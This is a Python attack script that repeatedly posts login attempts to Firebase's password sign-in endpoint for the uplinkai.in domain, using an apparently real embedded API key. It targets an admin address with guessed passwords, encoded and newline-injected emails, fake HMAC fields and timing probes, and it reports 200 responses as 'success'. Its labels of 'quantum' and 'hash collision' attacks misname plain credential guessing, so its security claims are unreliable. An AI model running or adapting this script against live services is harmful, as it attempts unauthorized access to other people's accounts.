import requests
import json
import time
import hashlib
import hmac
import base64
import random
import string
from urllib.parse import quote, unquote

# Advanced cryptographic and quantum-resistant attacks
def test_crypto_quantum_attacks():
    print("=== CRYPTOGRAPHIC AND QUANTUM-RESISTANT ATTACKS ===")
    
    auth_url = "https://uplinkai.in/auth"
    api_key = "AIzaSyA0grBMnQ2VnDKD-Q8QFkA7cirthBYcmFY"
    firebase_api_base = "https://identitytoolkit.googleapis.com/v1"
    
    print("1. Testing cryptographic hash collision attacks...")
    
    # Test hash collision attempts
    collision_payloads = [
        {"email": "admin@uplinkai.in", "password": "collision1"},
        {"email": "admin@uplinkai.in", "password": "collision2"},
        {"email": hashlib.md5(b"admin").hexdigest() + "@uplinkai.in", "password": "test"},
        {"email": hashlib.sha256(b"admin").hexdigest() + "@uplinkai.in", "password": "test"},
    ]
    
    for payload in collision_payloads:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=payload, timeout=10)
            print(f"Crypto collision: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  CRYPTO COLLISION SUCCESS!")
        except Exception as e:
            print(f"Crypto collision error: {e}")
    
    print("\n2. Testing HMAC bypass attempts...")
    
    # Test HMAC manipulation
    hmac_tests = [
        {"email": "admin@uplinkai.in", "password": "test", "signature": "fake_hmac"},
        {"email": "admin@uplinkai.in", "password": "test", "hmac": "fake_signature"},
        {"email": "admin@uplinkai.in", "password": "test", "auth": "fake_token"},
    ]
    
    for test in hmac_tests:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=test, timeout=10)
            print(f"HMAC bypass: {response.status_code}")
        except Exception as e:
            print(f"HMAC test error: {e}")
    
    print("\n3. Testing quantum computing style attacks...")
    
    # Test quantum-style superposition attacks
    quantum_payloads = [
        {"email": "admin@uplinkai.in or admin@gmail.com", "password": "admin123"},
        {"email": "admin@uplinkai.in\nadmin@gmail.com", "password": "admin123"},
        {"email": "admin@uplinkai.in\tadmin@gmail.com", "password": "admin123"},
        {"email": "admin@uplinkai.in;admin@gmail.com", "password": "admin123"},
    ]
    
    for payload in quantum_payloads:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=payload, timeout=10)
            print(f"Quantum attack: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  QUANTUM ATTACK SUCCESS!")
        except Exception as e:
            print(f"Quantum attack error: {e}")
    
    print("\n4. Testing side-channel attack simulation...")
    
    # Test timing-based side channel attacks
    timing_tests = []
    for i in range(10):
        start_time = time.time()
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json={"email": "admin@uplinkai.in", "password": f"test{i}"}, 
                                   timeout=10)
            end_time = time.time()
            timing_tests.append({
                "response_time": end_time - start_time,
                "status": response.status_code
            })
            print(f"Timing test {i}: {response.status_code} ({end_time - start_time:.4f}s)")
        except Exception as e:
            print(f"Timing test {i} error: {e}")
    
    # Analyze timing patterns
    avg_time = sum(test["response_time"] for test in timing_tests) / len(timing_tests)
    print(f"Average response time: {avg_time:.4f}s")
    
    print("\n5. Testing advanced encoding attacks...")
    
    # Test various encoding attacks
    encoding_payloads = [
        {"email": quote("admin@uplinkai.in"), "password": "admin123"},
        {"email": quote(quote("admin@uplinkai.in")), "password": "admin123"},
        {"email": base64.b64encode(b"admin@uplinkai.in").decode(), "password": "admin123"},
        {"email": "admin@uplinkai.in", "password": base64.b64encode(b"admin123").decode()},
        {"email": unquote("%61%64%6d%69%6e%40%75%70%6c%69%6e%6b%61%69%2E%69%6E"), "password": "admin123"},
    ]
    
    for payload in encoding_payloads:
        try:
            response = requests.post(f"{firebase_api_base}/accounts:signInWithPassword?key={api_key}",
                                   json=payload, timeout=10)
            print(f"Encoding attack: {response.status_code}")
            if response.status_code == 200:
                print(f"  ⚠️  ENCODING ATTACK SUCCESS!")
        except Exception as e:
            print(f"Encoding attack error: {e}")

if __name__ == "__main__":
    test_crypto_quantum_attacks()
